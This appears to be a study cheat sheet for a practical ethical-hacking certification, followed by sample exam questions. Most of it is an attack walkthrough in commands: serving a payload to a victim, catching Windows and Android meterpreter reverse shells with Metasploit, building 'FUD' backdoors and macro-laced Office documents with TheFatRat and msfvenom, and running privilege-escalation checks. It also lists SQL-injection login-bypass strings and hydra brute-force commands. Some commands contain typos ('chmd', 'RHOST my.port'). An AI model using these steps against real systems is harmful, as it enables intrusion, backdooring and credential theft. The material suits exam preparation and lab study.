chmod -R 755 /var/www/html/share  
chown -R www-data:www-data /var/www/html/share  
// copy the text.exe to the new server  
cp /root/Desktop/test.exe /**var**/www/html/share  
// #2 - option  
python -m SimpleHttpServer 80  
// #3 - option  
python3 http.server 80  
// start the serverwith apache  
service apache2 start //apache version  
//now we open msfconsole to gain a inverse shell with meterpreter  
use exploit/multi/handler //similar to nc -nlvp .port  
set payload windows/meterpreter/reverse\_tcp  
set LHOST my.ip  
set LPORT my.port  
exploit/run *// run the exploit*  
*//share the file with the victim*  
my.ip/share  
*//inside the victim's machine*  
run the exe *// text.exe share with the server*  
*//look at the metasploit session*  
sysinfo *// system info*  
  
*//now with try to enumerate to know misconfigurations on the w10 system*  
*//using PowerSploit*  
upload /path/PowerUp.ps1 powerup.ps1 *// with meterpreter*  
shell *// with shell with change from meterpreter to windows shell*  
*// now we execute powerup*  
powershell -ExecutionPolicy Bypass -Command ". .\PowerUp.ps1;Invoke-AllChecks"  
*// now we know that windows is vulnerable to dll injection*  
*// change to meterpreter shell with exit & run*  
run vnc *// will open a VNC remote control on the victim*  
  
*// Now we will try another method to gain access to a machine*  
*// with TheFatRat*  
chmod +x fatrat  
chmod +x setup.sh  
chmd +x powerfull.sh  
./setup.sh  
*//run fatrat*  
option 6 *// create fud.. [Excelent]*  
option 3 *// create apache + ps1*  
*//put the lhost and lport*  
enter the name **for** files : payload  
option 3 *// for choosing meterpreter/reverse\_tcp*  
*// payload generated*  
option 9 *// back to the menu*  
option 7 *// create a back office*  
option 2 *// macro windows and select lhost and lport*  
*// enter the name for the doc file*  
*// use custom exe backdoor Y*  
option 3 *// reverse\_tcp*   
*// backdoor inside the doc generate*  
  
*// share document with the server option 1 and 2 above*  
*// start msfconsole to gain meterpreter shell*  
use exploit/multi/handler  
set payload windows/meterpreter/reverse\_tcp  
set LHOST my.ip  
set RHOST my.port  
exploit / run

#### Mobile Hacking

*// create a backdoor with msfvenom*  
msfvenom -p android/meterpreter/reverse\_tcp --platform android -a dalvik LHOST=my.ip R > path/backdoor.apk  
*// share with some of the three methods above*  
*// now with metasploit*  
use exploit/multi/handler  
set payload android/meterpreter/reverse\_tcp  
set LHOST my.ip  
exploit -j -z *// exploit with a background job*  
*// install the apk in android & the session will open*  
sessions -i 1 *// will display the meterpreter*  
sysinfo *// to know the os*  
  
*// Using PhoneSploit*  
run phonesploit  
option 3 *// new phone*  
enter the ip *// ip' phone &*  
option 4 *// to shell on the phone*  
*//in the menu you can search, download, info*

#### Using the methodology

1. netdiscover -i eth0
2. map -p- 10.10.10.10 [ Any IP ] port discovery
3. nmap -p443,80,53,135,8080,8888 -A -O -sV -sC -T4 -oN nmapOutput 10.10.10.10
4. gobuster -e -u\*\* http://10.10.10.10 -w wordlsit.txt on a webserver running
5. trying sqli payloads on the forms

admin' --   
admin' #   
admin'/\*   
' or 1=1--   
' or 1=1#   
' or 1=1/\*   
') or '1'='1--   
') or ('1'='1—

1. bruteforcing web servers

hydra -l root -P passwords.txt [-t 32] <IP> \*\*\_ftp\_\*\*  
hydra -L usernames.txt -P pass.txt <IP> \*\*\_mysql\_\*\*  
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> \*\*\_pop3\_\*\* -V  
hydra -V -f -L <userslist> -P <passwlist> \*\*\_rdp\_\*\*://<IP>  
hydra -P common-snmp-community-strings.txt target.com \*\*\_snmp\_\*\*  
hydra -l Administrator -P words.txt 192.168.1.12 \*\*\_smb\_\*\* -t 1  
hydra -l root -P passwords.txt <IP> \*\*\_ssh\_\*\*

1. cewl example.com -m 5 -w words.txt custom wordlist
2. search for vulns

searchsploit 'Linux Kernel'  
searchsploit -m 7618 *// Paste the exploit in the current directory*  
searchsploit -p 7618[.c] *// Show complete path*  
searchsploit — nmap file.xml *// Search vulns inside a Nmap XML result*

**SAMPLE QUESTION**

1)Find the IP address of the machine which is running the RDP?

2) Find the IP address of the machine which is running the RDP?

3) Find the HTTP method that poses a high risk to the application example.com?

4) Find the Phone number of the employee?

5) Find the file name which is tempered by comparing the hashes which is given in the /hashes folder?

6) Decrypt the volume file using Vera crypt?

7) Connect to the Server remotely using the credentials given by RDP?

8) Decode the file which is encoded in DES (ECB) format?

9) Find the password of the WordPress user “Demo”?

10) Find the attacker IP address who has launched the DOS attack?

11) Find the number of machines that were used to initiate the DDOS attack?

12) Find the username/password from the pcap file, which is in plain text?

13) Extract the information from the SDcard of the Android User?

14) Find the OS name of the machine which is running MySQL database?

15) Find hidden information in the file that having all the details encrypted file (stego)= snow.exe

16) Check the existing (abc.pcapng) file that store in your machine, find the credentials found in the capture file and save in blank box in exams

17) Examine a packet capture file (ddos.pcapng) located in windows/Linux machine (path will be given in exam) enter the ip found from capture file

What is the IP of the Windows machine?

What is the version of the Linux Kernel?

How many Windows machines are there?

What is the password for user of the FTP server?

What is the password hidden in the .jpeg file